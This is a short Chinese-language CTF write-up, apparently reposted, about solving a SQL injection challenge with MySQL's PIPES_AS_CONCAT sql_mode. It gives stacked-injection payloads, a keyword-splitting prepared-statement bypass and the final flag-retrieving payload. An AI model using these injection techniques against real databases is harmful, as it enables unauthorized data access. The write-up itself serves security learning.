mysql中sql_mode內的pipes_as_concat


mysql中sql_mode內的pipes_as_concat

前言

思路

先判斷是數字型注入還是字符型注入,1'和1'-- +之后回顯不正常,基本可以判定是數字型注入,然后fuzz測試發現過濾了挺多字符,如Flag,from,prepare,or,and

但是沒有過濾分號(😉,試着用堆疊注入

1;show tables;# 回顯表Flag

然后用

1;select * from Flag;# 回顯nonono

這里存在過濾,我一直想着怎樣繞過關鍵字的書寫,如:Flag和from,然后想到了預編譯

set @sql=concat('select * fr','om Fl','ag');
prepare aaa from @sql;
execute aaa;

沒想到這里還過濾了prepare,好吧,沒辦法了看了wp

非預期解

根據回顯輸入除了0以外的數字返回1,輸入0和字母時回顯0,大佬可以猜出后台執行方式

select $_POST[query]||flag from Flag

構造*,1

得到flag

預期解

pipes_as_concat

補充系統變量@@sql_modesql_mode:是一組mysql支持的基本語法及校驗規則
PIPES_AS_CONCAT:將“||”視為字符串的連接操作符而非或運算符,這和Oracle數據庫是一樣的,也和字符串的拼接函數Concat相類似

select sql_mode;
select @@global.sql_mode;
select @@session.sql_mode;



payload:

1;set sql_mode=pipes_as_concat;select 1

得到flag


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM